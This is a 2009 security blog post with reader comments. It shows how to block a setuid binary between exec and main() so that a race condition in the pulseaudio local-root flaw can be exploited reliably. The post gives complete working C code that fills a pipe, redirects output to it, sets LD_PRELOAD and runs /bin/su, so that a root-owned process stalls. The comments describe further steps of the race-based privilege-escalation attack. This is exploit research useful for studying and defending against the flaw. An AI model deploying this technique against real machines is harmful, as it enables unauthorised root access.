jump to navigation

Blocking between execution and main() 2009/07/21

Posted by dividead in Security.
Tags: ,
trackback

Recently http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html was brought to my attention, and I having a bit of spare time on my hands, I decided to investigate a casual remark Tinnes made about forcing a process to block after being executed but before reaching the main() function. In case of the pulseaudio flaw this is useful to exploit the race-condition reliably.

My first thought was that such a block should be easy if we could still have glibc rtld print data to stdout or stderr for diagnostic purposes, and have this print block. First there is the question wether rtld.c still allows us to do such things, and it seems that specifying something silly like the following works:

[dividead ~]$ LD_PRELOAD=foo ping
ERROR: ld.so: object 'foo' from LD_PRELOAD cannot be preloaded: ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

Now that we found rtld.c generating output before main() is even called, we need to have this block in setuid programs. The easiest way I can think of doing this is by creating a pipe in a parent process, filling this pipe completely without reading it, forking a child which executes the setuid program we target while replacing fd 1 and 2 to the pipe write half.

/* -- dividead 2009 */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void fd_set_blocking(int fd)
{
        int flags;

        if ( (flags = fcntl(fd, F_GETFL)) == -1) {
                perror("fcntl()");
                exit(EXIT_FAILURE);
        }

        if (flags & O_NONBLOCK) {
                flags &= ~O_NONBLOCK;
                if (fcntl(fd, F_SETFL, flags) == -1) {
                        perror("fcntl()");
                        exit(EXIT_FAILURE);
                }
        }
}

void fd_set_nonblocking(int fd)
{
        int flags;

        if ( (flags = fcntl(fd, F_GETFL)) == -1) {
                perror("fcntl()");
                exit(EXIT_FAILURE);
        }

        if ( !(flags & O_NONBLOCK) ) {
                flags |= O_NONBLOCK;
                if (fcntl(fd, F_SETFL, flags) == -1) {
                        perror("fcntl()");
                        exit(EXIT_FAILURE);
                }
        }
}

ssize_t xwrite(int fd, const void *buf, size_t count)
{
        ssize_t ret;

        do {
                ret = write(fd, buf, count);
        } while (ret == -1 && errno == EINTR);

        if (ret == -1 && errno != EAGAIN) {
                perror("write()");
                exit(EXIT_FAILURE);
        }

        return ret;
}
int xdup2(int oldfd, int newfd)
{
        int ret;

        if ( (ret = dup2(oldfd, newfd)) == -1) {
                perror("dup2()");
                exit(EXIT_FAILURE);
        }

        return ret;
}

int xputenv(char *string)
{
        int ret;

        if ( (ret = putenv(string)) != 0) {
                perror("putenv()");
                exit(EXIT_FAILURE);
        }

        return ret;
}
int main()
{
        pid_t pid;
        ssize_t ret;
        int pipefd[2];
        char buf[4096];

        /* Create a pipe, we use this to read from the child we spawn. */
        if (pipe(pipefd) == -1) {
                perror("pipe()");
                exit(EXIT_FAILURE);
        }

        /* Set it non-blocking, so we can fill the pipe buffer */
        fd_set_nonblocking(pipefd[1]);

        /* Fill the pipe buffer.  As a small optimization, first use page
         * granularity, then fill out with single bytes until done.
         */
        do {
                ret = xwrite(pipefd[1], buf, 4096);
        } while ( !(ret == -1 && errno == EAGAIN) );

        do {
                ret = xwrite(pipefd[1], buf, 1);
        } while ( !(ret == -1 && errno == EAGAIN) );


        /* Now the pipe is full, causing the child to block when writing
         * to it.  We set it back to blocking again.
         */
        fd_set_blocking(pipefd[1]);
        switch(pid = fork()) {
        case -1:
                perror("fork()");
                exit(EXIT_FAILURE);
        case 0:
                close(pipefd[0]);
                xdup2(pipefd[1], 1);
                xdup2(pipefd[1], 2);
                xputenv("LD_PRELOAD=foo");
                execl("/bin/su", "su", 0);
        default:
                fgetc(stdin);
        }
}

Running this should result in a ‘su’ process owned by root that is blocking in _dl_debug_vdprintf(), giving us ample opportunity to do everything we want, and then start draining the pipe in the parent process. I have no idea wether this was the method found by Tinnes, but it is trivial enough when you think about it for half an hour.

Advertisement

Comments»

1. Julien Tinnes - 2009/07/21

Yes, this is it, good job! The LD_DEBUG trick was quite popular around 2000, funny to see this was not really closed.
You solved the part where you need the child to wait for the parent to be ready. How can you also guarantee that the parent will not perform a certain action before the child is inside execve() ?

By the way, for this particular vulnerability, there is also another method to exploit it, without having to win a race at all, I’ll comment on this soon.

dividead - 2009/07/21

Didn’t you already answer that question yourself by setting the FD_CLOEXEC on another pipe descriptor you pass to the child process? If this happens at the right time in fs/exec.c that seems perfectly usable to me. Personally I would SIG_IGN the signal to have EPIPE events delivered on the descriptor, as I dislike having to deal with signals if I can prevent it. When this descriptor triggers EPIPE, unlink() the hardlink to pulseaudio, and as soon as thats done drain the pipe keeping the child blocked. Of course we have something called like hardlink with a “(deleted)” suffix waiting at this point.

I can’t think of a more elegant way right now. It would have been cool if epoll in edge triggered mode would generate an edge for a blocking write to a full pipe buffer, but alas, it doesn’t, only when it places something in the buffer.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: